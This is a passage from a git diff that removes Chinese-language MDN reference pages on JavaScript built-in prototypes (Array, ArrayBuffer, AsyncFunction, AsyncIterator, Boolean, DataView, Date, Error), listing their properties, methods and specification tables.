-添加一个返回数组的第一个元素的新方法。`);
-        return this[0];
-    }
-}
-
- -

描述

- -

{{jsxref("Array")}}实例继承自 Array.prototype 。与所有构造函数一样,您可以更改构造函数的原型对象,以对所有 {{jsxref("Array")}} 实例进行更改。例如,可以添加新方法和属性以扩展所有Array对象。这用于 {{Glossary("Polyfill", "polyfilling")}}, 例如。

- -

鲜为人知的事实:Array.prototype 本身也是一个 {{jsxref("Array")}}。

- -
Array.isArray(Array.prototype);
-// true
-
- -

{{js_property_attributes(0, 0, 0)}}

- -

属性

- -
-
Array.prototype.constructor
-
所有的数组实例都继承了这个属性,它的值就是 {{jsxref("Array")}},表明了所有的数组都是由 {{jsxref("Array")}} 构造出来的。
-
{{jsxref("Array.prototype.length")}}
-
上面说了,因为 Array.prototype 也是个数组,所以它也有 length 属性,这个值为 0,因为它是个空数组。
-
- -

方法

- -

会改变自身的方法

- -

下面的这些方法会改变调用它们的对象自身的值:

- -
-
{{jsxref("Array.prototype.copyWithin()")}} {{experimental_inline}}
-
在数组内部,将一段元素序列拷贝到另一段元素序列上,覆盖原有的值。
-
{{jsxref("Array.prototype.fill()")}} {{experimental_inline}}
-
将数组中指定区间的所有元素的值,都替换成某个固定的值。
-
{{jsxref("Array.prototype.pop()")}}
-
删除数组的最后一个元素,并返回这个元素。
-
{{jsxref("Array.prototype.push()")}}
-
在数组的末尾增加一个或多个元素,并返回数组的新长度。
-
{{jsxref("Array.prototype.reverse()")}}
-
颠倒数组中元素的排列顺序,即原先的第一个变为最后一个,原先的最后一个变为第一个。
-
{{jsxref("Array.prototype.shift()")}}
-
删除数组的第一个元素,并返回这个元素。
-
{{jsxref("Array.prototype.sort()")}}
-
对数组元素进行排序,并返回当前数组。
-
{{jsxref("Array.prototype.splice()")}}
-
在任意的位置给数组添加或删除任意个元素。
-
{{jsxref("Array.prototype.unshift()")}}
-
在数组的开头增加一个或多个元素,并返回数组的新长度。
-
- -

不会改变自身的方法

- -

下面的这些方法绝对不会改变调用它们的对象的值,只会返回一个新的数组或者返回一个其它的期望值。

- -
-
{{jsxref("Array.prototype.concat()")}}
-
返回一个由当前数组和其它若干个数组或者若干个非数组值组合而成的新数组。
-
{{jsxref("Array.prototype.includes()")}} {{experimental_inline}}
-
判断当前数组是否包含某指定的值,如果是返回 true,否则返回 false
-
{{jsxref("Array.prototype.join()")}}
-
连接所有数组元素组成一个字符串。
-
{{jsxref("Array.prototype.slice()")}}
-
抽取当前数组中的一段元素组合成一个新数组。
-
{{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}}
-
返回一个表示当前数组字面量的字符串。遮蔽了原型链上的 {{jsxref("Object.prototype.toSource()")}} 方法。
-
{{jsxref("Array.prototype.toString()")}}
-
返回一个由所有数组元素组合而成的字符串。遮蔽了原型链上的 {{jsxref("Object.prototype.toString()")}} 方法。
-
{{jsxref("Array.prototype.toLocaleString()")}}
-
返回一个由所有数组元素组合而成的本地化后的字符串。遮蔽了原型链上的 {{jsxref("Object.prototype.toLocaleString()")}} 方法。
-
{{jsxref("Array.prototype.indexOf()")}}
-
返回数组中第一个与指定值相等的元素的索引,如果找不到这样的元素,则返回 -1。
-
{{jsxref("Array.prototype.lastIndexOf()")}}
-
返回数组中最后一个(从右边数第一个)与指定值相等的元素的索引,如果找不到这样的元素,则返回 -1。
-
- -

遍历方法

- -

在下面的众多遍历方法中,有很多方法都需要指定一个回调函数作为参数。在每一个数组元素都分别执行完回调函数之前,数组的length属性会被缓存在某个地方,所以,如果你在回调函数中为当前数组添加了新的元素,那么那些新添加的元素是不会被遍历到的。此外,如果在回调函数中对当前数组进行了其它修改,比如改变某个元素的值或者删掉某个元素,那么随后的遍历操作可能会受到未预期的影响。总之,不要尝试在遍历过程中对原数组进行任何修改,虽然规范对这样的操作进行了详细的定义,但为了可读性和可维护性,请不要这样做。

- -
-
{{jsxref("Array.prototype.forEach()")}}
-
为数组中的每个元素执行一次回调函数。
-
{{jsxref("Array.prototype.entries()")}} {{experimental_inline}}
-
返回一个数组迭代器对象,该迭代器会包含所有数组元素的键值对。
-
{{jsxref("Array.prototype.every()")}}
-
如果数组中的每个元素都满足测试函数,则返回 true,否则返回 false。
-
{{jsxref("Array.prototype.some()")}}
-
如果数组中至少有一个元素满足测试函数,则返回 true,否则返回 false。
-
{{jsxref("Array.prototype.filter()")}}
-
将所有在过滤函数中返回 true 的数组元素放进一个新数组中并返回。
-
{{jsxref("Array.prototype.find()")}} {{experimental_inline}}
-
找到第一个满足测试函数的元素并返回那个元素的值,如果找不到,则返回 undefined
-
{{jsxref("Array.prototype.findIndex()")}} {{experimental_inline}}
-
找到第一个满足测试函数的元素并返回那个元素的索引,如果找不到,则返回 -1
-
{{jsxref("Array.prototype.keys()")}} {{experimental_inline}}
-
返回一个数组迭代器对象,该迭代器会包含所有数组元素的键。
-
{{jsxref("Array.prototype.map()")}}
-
返回一个由回调函数的返回值组成的新数组。
-
{{jsxref("Array.prototype.reduce()")}}
-
从左到右为每个数组元素执行一次回调函数,并把上次回调函数的返回值放在一个暂存器中传给下次回调函数,并返回最后一次回调函数的返回值。
-
{{jsxref("Array.prototype.reduceRight()")}}
-
从右到左为每个数组元素执行一次回调函数,并把上次回调函数的返回值放在一个暂存器中传给下次回调函数,并返回最后一次回调函数的返回值。
-
{{jsxref("Array.prototype.values()")}} {{experimental_inline}}
-
返回一个数组迭代器对象,该迭代器会包含所有数组元素的值。
-
{{jsxref("Array.prototype.@@iterator()", "Array.prototype[@@iterator]()")}} {{experimental_inline}}
-
和上面的 values() 方法是同一个函数。
-
- -

通用方法

- -

在 JavaScript 中,很多的数组方法被故意设计成是通用的。也就是说,那些看起来像是数组的对象(类数组对象),即拥有一个 length 属性,以及对应的索引属性(也就是数字类型的属性,比如 obj[5])的非数组对象也是可以调用那些数组方法的。其中一些数组方法,比如说 {{jsxref("Array.join", "join")}} 方法,它们只会单纯的读取当前对象的 length 属性和索引属性的值,并不会尝试去改变这些属性的值。而另外一些数组方法,比如说 {{jsxref("Array.reverse", "reverse")}} 方法,它们会尝试修改那些属性的值,因此,如果当前对象是个 {{jsxref("String")}} 对象,那么这些方法在执行时就会报错,因为字符串对象的 length 属性和索引属性都是只读的。

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.
{{SpecName('ES5.1', '#sec-15.4.3.1', 'Array.prototype')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-array.prototype', 'Array.prototype')}}{{Spec2('ES6')}}
- -

浏览器兼容性

- -
-
- - -

{{Compat("javascript.builtins.Array.prototype")}}

-
-
- -

相关链接

- -
    -
  • {{jsxref("Array")}}
  • -
  • {{jsxref("Function.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/arraybuffer/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/arraybuffer/prototype/index.html deleted file mode 100644 index 92909dbef7..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/arraybuffer/prototype/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: ArrayBuffer.prototype -slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype -tags: - - ArrayBuffer -translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer -translation_of_original: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype ---- -
{{JSRef}}
- -

ArrayBuffer.prototype属性表示{{jsxref("ArrayBuffer")}}对象的原型。

- -
{{js_property_attributes(0,0,0)}}
- -
 
- -

描述

- -

ArrayBuffer 实例继承自ArrayBuffer.prototype。对所有的构造函数来说,你可以通过改变构造函数的原型对象来改变所有的ArrayBuffer实例。

- -

属性

- -
-
ArrayBuffer.prototype.constructor
-
指定函数,它创建一个对象的原型。其初始值是标准ArrayBuffer内置构造函数。
-
{{jsxref("ArrayBuffer.prototype.byteLength")}} {{readonlyInline}}
-
数组的字节大小。在数组创建时确定,并且不可变更。只读
-
- -

方法

- -
-
{{jsxref("ArrayBuffer.prototype.slice()")}}
-
返回一个新的 ArrayBuffer ,它的内容是这个 ArrayBuffer 的字节副本,从begin(包括),到end(不包括)。如果begin或end是负数,则指的是从数组末尾开始的索引,而不是从头开始。
-
- -

规范

- - - - - - - - - - - - - - -
规范状态备注
{{SpecName('ES6', '#sec-arraybuffer.prototype', 'ArrayBuffer.prototype')}}{{Spec2('ES6')}}初始定义
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.ArrayBuffer.prototype")}}

- -

相关链接

- -
    -
  • {{jsxref("ArrayBuffer")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/asyncfunction/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/asyncfunction/prototype/index.html deleted file mode 100644 index 9a8678680a..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/asyncfunction/prototype/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: AsyncFunction.prototype -slug: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype ---- -
{{JSRef}}
- -

AsyncFunction.prototype 属性表示 {{jsxref("AsyncFunction")}} 的原型对象。

- -

描述

- -

{{jsxref("AsyncFunction")}} 对象继承自 AsyncFunction.prototypeAsyncFunction.prototype 不能被修改。

- -

属性

- -
-
AsyncFunction.constructor
-
默认值为 {{jsxref("AsyncFunction")}}。
-
AsyncFunction.prototype[@@toStringTag]
-
返回 "AsyncFunction"。
-
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-async-function-constructor-prototype', 'AsyncFunction.prototype')}}{{Spec2('ESDraft')}}最初定义在ES2017.
- -

兼容性

- -
-
- - -

{{Compat("javascript.builtins.AsyncFunction.prototype")}}

-
-
- -

参见

- -
    -
  • {{jsxref("AsyncFunction")}}
  • -
  • {{jsxref("Function")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/asynciterator/index.html b/files/zh-cn/web/javascript/reference/global_objects/asynciterator/index.html deleted file mode 100644 index 9c14e462bd..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/asynciterator/index.html +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: AsyncIterator -slug: Web/JavaScript/Reference/Global_Objects/AsyncIterator -tags: - - 异步迭代器 - - 类 -translation_of: Web/JavaScript/Reference/Global_Objects/AsyncIterator ---- -

{{JSRef}}{{Draft}}

- -

AsyncIterator 全局对象是一个提供辅助方法的抽象类,与暴露在{{JSxRef("Array")}} 实例上的那些类似。

- -

构造函数

- -
-
{{JSxRef("AsyncIterator.AsyncIterator", "AsyncIterator()")}} 
-
一个抽象构造函数,仅能够通过 {{JSxRef("Operators/super", "super()")}} 来调用。
-
- -

属性

- -
-
AsyncIterator.prototype
-
%AsyncIteratorPrototype% 内部对象。
-
- -

方法

- -
-
{{JSxRef("AsyncIterator.from()")}} 
-
等同于在传入的对象上调用 @@asyncIterator 。
-
- -

AsyncIterator 原型

- -

原型属性

- -
-
AsyncIterator.prototype.constructor
-
指定创建对的象原型的函数.
-
AsyncIterator.prototype[@@toStringTag] 
-
字符串 "Iterator".
-
- -

原型方法

- -
-
{{JSxRef("AsyncIterator.prototype.map()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.filter()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.take()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.drop()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.asIndexedPairs()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.flatMap()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.reduce()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.toArray()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.forEach()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.some()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.every()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.find()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.@@iterator()", "AsyncIterator.prototype[@@iterator]()")}}
-
返回该 AsyncIterator 实例。
-
- -

实现方法

- -
-
{{JSxRef("AsyncIterator.prototype.next()", "<implementation>.prototype.next()")}}
-
获取 AsyncIterator 中的下一项
-
{{JSxRef("AsyncIterator.prototype.return()", "<implementation>.prototype.next()")}}{{Optional_Inline}}
-
返回给出的值,并结束迭代。
-
{{JSxRef("AsyncIterator.prototype.throw()", "<implementation>.prototype.next()")}}{{Optional_Inline}}
-
抛出一个迭代器错误(同时也终止了迭代器,除非是在该迭代器内部被捕获)。
-
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
ESNext Iterator Helpers ProposalStage 2 DraftInitial definition
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.AsyncIterator")}}

- -

另请参阅

- -
    -
  • {{JSxRef("Iteration_protocols", "Iteration protocols", "", "1")}}
  • -
  • {{JSxRef("Generator")}}
  • -
  • {{JSxRef("Global_Objects/AsyncGenerator", "AsyncGenerator")}}
  • -
  • {{JSxRef("Iterator")}} 
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/boolean/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/boolean/prototype/index.html deleted file mode 100644 index cb7f351bd1..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/boolean/prototype/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Boolean.prototype -slug: Web/JavaScript/Reference/Global_Objects/Boolean/prototype -tags: - - Boolean - - JavaScript - - Property - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Boolean -translation_of_original: Web/JavaScript/Reference/Global_Objects/Boolean/prototype ---- -

{{JSRef}}

- -

Boolean.prototype 属性表示{{jsxref("Boolean")}} 构造函数的原型。

- -
{{js_property_attributes(0,0,0)}}
- -

描述

- -

{{jsxref("Boolean")}}实例继承自Boolean.prototype。你可以使用构造函数的原型对象向所有{{jsxref("Boolean")}}实例添加属性或方法。

- -

属性

- -
-
Boolean.prototype.constructor
-
返回创建了实例原型的函数。默认为{{jsxref("Boolean")}}函数。
-
- -

方法

- -
-
{{jsxref("Boolean.prototype.toSource()")}} {{ Non-standard_inline() }}
-
返回包含{{jsxref("Boolean")}}对象源码的字符串;你可以使用这个字符串来创建一个等价的对象。覆盖了{{jsxref("Object.prototype.toSource()")}} 方法。
-
{{jsxref("Boolean.prototype.toString()")}}
-
根据对象的值来返回一个字符串:"true""false"。覆盖了 {{jsxref("Object.prototype.toString()")}} 方法。
-
{{jsxref("Boolean.prototype.valueOf()")}}
-
返回{{jsxref("Boolean")}}对象的原始值。覆盖了 {{jsxref("Object.prototype.valueOf()")}} 方法。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.6.3.1', 'Boolean.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-boolean.prototype', 'Boolean.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-boolean.prototype', 'Boolean.prototype')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容

- - - -

{{Compat("javascript.builtins.Boolean.prototype")}}

diff --git a/files/zh-cn/web/javascript/reference/global_objects/dataview/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/dataview/prototype/index.html deleted file mode 100644 index 3285efa3d3..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/dataview/prototype/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: DataView.prototype -slug: Web/JavaScript/Reference/Global_Objects/DataView/prototype -tags: - - DataView属性 -translation_of: Web/JavaScript/Reference/Global_Objects/DataView -translation_of_original: Web/JavaScript/Reference/Global_Objects/DataView/prototype ---- -
{{JSRef}}
- -

DataView.prototype 表示{{jsxref("DataView")}}的原型

- -
{{js_property_attributes(0,0,0)}}
- -

描述

- -

DataView 的实例从DataView.prototype继承。就像所有的构造器,你可以修改原型来改变生成的DataView实例。

- -

属性

- -
-
{{jsxref("DataView.prototype.constructor")}}
-
指定用来生成原型的构造函数.初始化值是标准内置DataView构造器.
-
{{jsxref("DataView.prototype.buffer")}} {{readonlyInline}}
-
被视图引入的{{jsxref("ArrayBuffer")}}.创建实例的时候已固化因此是只读的.
-
{{jsxref("DataView.prototype.byteLength")}} {{readonlyInline}}
-
从 {{jsxref("ArrayBuffer")}}中读取的字节长度. 创建实例的时候已固化因此是只读的.
-
{{jsxref("DataView.prototype.byteOffset")}} {{readonlyInline}}
-
从 {{jsxref("ArrayBuffer")}}读取时的偏移字节长度. 创建实例的时候已固化因此是只读的.
-
- -

方法

- -

- -
-
{{jsxref("DataView.prototype.getInt8()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个8-bit数(一个字节).
-
{{jsxref("DataView.prototype.getUint8()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个8-bit数(无符号字节).
-
{{jsxref("DataView.prototype.getInt16()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个16-bit数(短整型).
-
{{jsxref("DataView.prototype.getUint16()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个16-bit数(无符号短整型).
-
{{jsxref("DataView.prototype.getInt32()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个32-bit数(长整型).
-
{{jsxref("DataView.prototype.getUint32()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个32-bit数(无符号长整型).
-
{{jsxref("DataView.prototype.getFloat32()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个32-bit数(浮点型).
-
{{jsxref("DataView.prototype.getFloat64()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处获取一个64-bit数(双精度浮点型).
-
- -

- -
-
{{jsxref("DataView.prototype.setInt8()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个8-bit数(一个字节).
-
{{jsxref("DataView.prototype.setUint8()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个8-bit数(无符号字节).
-
{{jsxref("DataView.prototype.setInt16()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个16-bit数(短整型).
-
{{jsxref("DataView.prototype.setUint16()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个16-bit数(无符号短整型).
-
{{jsxref("DataView.prototype.setInt32()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个32-bit数(长整型).
-
{{jsxref("DataView.prototype.setUint32()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个32-bit数(无符号长整型).
-
{{jsxref("DataView.prototype.setFloat32()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个32-bit数(浮点型).
-
{{jsxref("DataView.prototype.setFloat64()")}}
-
{{jsxref("DataView")}}起始位置以byte为计数的指定偏移量(byteOffset)处储存一个64-bit数(双精度浮点型).
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES6', '#sec-dataview.prototype', 'DataView.prototype')}}{{Spec2('ES6')}}Initial definition.
- -

浏览器支持

- - - -

{{Compat("javascript.builtins.DataView.prototype")}}

- -

另见

- -
    -
  • {{jsxref("DataView")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/date/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/date/prototype/index.html deleted file mode 100644 index da3d715018..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/date/prototype/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: Date.prototype -slug: Web/JavaScript/Reference/Global_Objects/Date/prototype -tags: - - Date - - JavaScript - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Date -translation_of_original: Web/JavaScript/Reference/Global_Objects/Date/prototype ---- -
{{JSRef}}
- -

Date.prototype 属性表示{{jsxref("Date")}}构造函数的原型。

- -
{{js_property_attributes(0,0,1)}}
- -

描述

- -

{{jsxref("Date")}}实例继承自Date.prototype。可以通过修改构造函数的原型对象来影响 {{jsxref("Date")}}实例继承的属性和方法。

- -

为了兼容千禧年计算(也即考虑到 2000 年),应该总是指定完整的年份,例如,使用 1998,而不是 98。为了方便以完整的格式指定年份, JavaScript 包含了相应的方法{{jsxref("Global_Objects/Date/getFullYear", "getFullYear()")}},{{jsxref("Global_Objects/Date/setFullYear", "setFullYear()")}}, {{jsxref("Global_Objects/Date/getUTCFullYear", "getUTCFullYear()")}} 和{{jsxref("Global_Objects/Date/setUTCFullYear", "setUTCFullYear()")}}。

- -

从 ECMAScript 6 开始,Date.prototype本身就是一个普通的对象。不是{{jsxref("Date")}}的实例。

- -

属性

- -
-
Date.prototype.constructor
-
返回创建该实例的函数。默认是Date构造函数。
-
- -

方法

- -

Getter

- -
-
{{jsxref("Date.prototype.getDate()")}}
-
根据本地时间返回指定日期对象的月份中的第几天(1-31)。
-
{{jsxref("Date.prototype.getDay()")}}
-
根据本地时间返回指定日期对象的星期中的第几天(0-6)。
-
{{jsxref("Date.prototype.getFullYear()")}}
-
根据本地时间返回指定日期对象的年份(四位数年份时返回四位数字)。
-
{{jsxref("Date.prototype.getHours()")}}
-
根据本地时间返回指定日期对象的小时(0-23)。
-
{{jsxref("Date.prototype.getMilliseconds()")}}
-
根据本地时间返回指定日期对象的毫秒(0-999)。
-
{{jsxref("Date.prototype.getMinutes()")}}
-
根据本地时间返回指定日期对象的分钟(0-59)。
-
{{jsxref("Date.prototype.getMonth()")}}
-
根据本地时间返回指定日期对象的月份(0-11)。
-
{{jsxref("Date.prototype.getSeconds()")}}
-
根据本地时间返回指定日期对象的秒数(0-59)。
-
{{jsxref("Date.prototype.getTime()")}}
-
返回从1970-1-1 00:00:00 UTC(协调世界时)到该日期经过的毫秒数,对于1970-1-1 00:00:00 UTC之前的时间返回负值。
-
{{jsxref("Date.prototype.getTimezoneOffset()")}}
-
返回当前时区的时区偏移。
-
{{jsxref("Date.prototype.getUTCDate()")}}
-
根据世界时返回特定日期对象一个月的第几天(1-31).
-
{{jsxref("Date.prototype.getUTCDay()")}}
-
根据世界时返回特定日期对象一个星期的第几天(0-6).
-
{{jsxref("Date.prototype.getUTCFullYear()")}}
-
根据世界时返回特定日期对象所在的年份(4位数).
-
{{jsxref("Date.prototype.getUTCHours()")}}
-
根据世界时返回特定日期对象当前的小时(0-23).
-
{{jsxref("Date.prototype.getUTCMilliseconds()")}}
-
根据世界时返回特定日期对象的毫秒数(0-999).
-
{{jsxref("Date.prototype.getUTCMinutes()")}}
-
根据世界时返回特定日期对象的分钟数(0-59).
-
{{jsxref("Date.prototype.getUTCMonth()")}}
-
根据世界时返回特定日期对象的月份(0-11).
-
{{jsxref("Date.prototype.getUTCSeconds()")}}
-
根据世界时返回特定日期对象的秒数(0-59).
-
{{jsxref("Date.prototype.getYear()")}}{{deprecated_inline}}
-
根据特定日期返回年份 (通常 2-3 位数). 使用 {{jsxref("Global_Objects/Date/getFullYear", "getFullYear()")}} .
-
- -

Setter

- -
-
{{jsxref("Date.prototype.setDate()")}}
-
根据本地时间为指定的日期对象设置月份中的第几天。
-
{{jsxref("Date.prototype.setFullYear()")}}
-
根据本地时间为指定日期对象设置完整年份(四位数年份是四个数字)。
-
{{jsxref("Date.prototype.setHours()")}}
-
根据本地时间为指定日期对象设置小时数。
-
{{jsxref("Date.prototype.setMilliseconds()")}}
-
根据本地时间为指定日期对象设置毫秒数。
-
{{jsxref("Date.prototype.setMinutes()")}}
-
根据本地时间为指定日期对象设置分钟数。
-
{{jsxref("Date.prototype.setMonth()")}}
-
根据本地时间为指定日期对象设置月份。
-
{{jsxref("Date.prototype.setSeconds()")}}
-
根据本地时间为指定日期对象设置秒数。
-
{{jsxref("Date.prototype.setTime()")}}
-
通过指定从 1970-1-1 00:00:00 UTC 开始经过的毫秒数来设置日期对象的时间,对于早于 1970-1-1 00:00:00 UTC的时间可使用负值。
-
{{jsxref("Date.prototype.setUTCDate()")}}
-
根据世界时设置 Date 对象中月份的一天 (1 ~ 31)。
-
{{jsxref("Date.prototype.setUTCFullYear()")}}
-
根据世界时设置 Date 对象中的年份(四位数字)。
-
{{jsxref("Date.prototype.setUTCHours()")}}
-
根据世界时设置 Date 对象中的小时 (0 ~ 23)。
-
{{jsxref("Date.prototype.setUTCMilliseconds()")}}
-
根据世界时设置 Date 对象中的毫秒 (0 ~ 999)。
-
{{jsxref("Date.prototype.setUTCMinutes()")}}
-
根据世界时设置 Date 对象中的分钟 (0 ~ 59)。
-
{{jsxref("Date.prototype.setUTCMonth()")}}
-
根据世界时设置 Date 对象中的月份 (0 ~ 11)。
-
{{jsxref("Date.prototype.setUTCSeconds()")}}
-
根据世界时设置 Date 对象中的秒钟 (0 ~ 59)。
-
{{jsxref("Date.prototype.setYear()")}} {{deprecated_inline}}
-
setYear() 方法用于设置年份。请使用 {{jsxref("Global_Objects/Date/setFullYear", "setFullYear()")}} 方法代替。
-
- -

Conversion getter

- -
-
{{jsxref("Date.prototype.toDateString()")}}
-
以人类易读(human-readable)的形式返回该日期对象日期部分的字符串。
-
{{jsxref("Date.prototype.toISOString()")}}
-
把一个日期转换为符合 ISO 8601 扩展格式的字符串。
-
{{jsxref("Date.prototype.toJSON()")}}
-
使用 {{jsxref("Global_Objects/Date/toISOString", "toISOString()")}} 返回一个表示该日期的字符串。为了在 {{jsxref("JSON.stringify()")}} 方法中使用。
-
{{jsxref("Date.prototype.toGMTString()")}} {{deprecated_inline}}
-
返回一个基于 GMT (UT) 时区的字符串来表示该日期。请使用 {{jsxref("Global_Objects/Date/toUTCString", "toUTCString()")}} 方法代替。
-
{{jsxref("Date.prototype.toLocaleDateString()")}}
-
返回一个表示该日期对象日期部分的字符串,该字符串格式与系统设置的地区关联(locality sensitive)。
-
{{jsxref("Date.prototype.toLocaleFormat()")}} {{non-standard_inline}}
-
使用格式字符串将日期转换为字符串。
-
{{jsxref("Date.prototype.toLocaleString()")}}
-
返回一个表示该日期对象的字符串,该字符串与系统设置的地区关联(locality sensitive)。覆盖了 {{jsxref("Global_Objects/Object/toLocaleString", "Object.prototype.toLocaleString()")}} 方法。
-
{{jsxref("Date.prototype.toLocaleTimeString()")}}
-
返回一个表示该日期对象时间部分的字符串,该字符串格式与系统设置的地区关联(locality sensitive)。
-
{{jsxref("Date.prototype.toSource()")}}{{non-standard_inline}}
-
返回一个与{{jsxref("Date")}}等价的原始字符串对象,你可以使用这个值去生成一个新的对象。重写了 {{jsxref("Object.prototype.toSource()")}} 这个方法。
-
{{jsxref("Date.prototype.toString()")}}
-
返回一个表示该日期对象的字符串。覆盖了{{jsxref("Object.prototype.toString()")}} 方法。
-
{{jsxref("Date.prototype.toTimeString()")}}
-
以人类易读格式返回日期对象时间部分的字符串。
-
{{jsxref("Date.prototype.toUTCString()")}}
-
把一个日期对象转换为一个以UTC时区计时的字符串。
-
{{jsxref("Date.prototype.valueOf()")}}
-
返回一个日期对象的原始值。覆盖了 {{jsxref("Object.prototype.valueOf()")}} 方法。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.9.5', 'Date.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.Date.prototype")}}

diff --git a/files/zh-cn/web/javascript/reference/global_objects/error/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/error/prototype/index.html deleted file mode 100644 index 420b5634de..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/error/prototype/index.html +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Error.prototype -slug: Web/JavaScript/Reference/Global_Objects/Error/prototype -tags: - - Error - - JavaScript - - Property - - 参考 - - 属性 -translation_of: Web/JavaScript/Reference/Global_Objects/Error -translation_of_original: Web/JavaScript/Reference/Global_Objects/Error/prototype ---- -
-

{{JSRef}}

- -

Error.prototype 属性代表 {{jsxref("Error")}} 的构造器。

- -

{{js_property_attributes(0, 0, 0)}}

-
- -

描述

- -

所有 {{jsxref("Global_Objects/Error", "Error")}} 与 {{jsxref("Global_Objects/Error", "非标准Error", "#Error_types", 1)}} 的实例都继承自 Error.prototype。同所有构造器函数一样,你可以在构造器的 prototype 上添加属性或者方法,使其在所有该构造器的实例上生效。

- -

属性

- -

标准属性

- -
-
Error.prototype.constructor
-
实例原型的构造函数。
-
{{jsxref("Error.prototype.message")}}
-
错误信息。
-
{{jsxref("Error.prototype.name")}}
-
错误名。
-
- -

厂商特定扩展属性

- -
{{non-standard_header}}
- -

Microsoft

- -
-
{{jsxref("Error.prototype.description")}}
-
错误描述,与 {{jsxref("Error.prototype.message", "message")}} 相似。
-
{{jsxref("Error.prototype.number")}}
-
错误码。
-
- -

Mozilla

- -
-
{{jsxref("Error.prototype.fileName")}}
-
产生该错误的文件名。
-
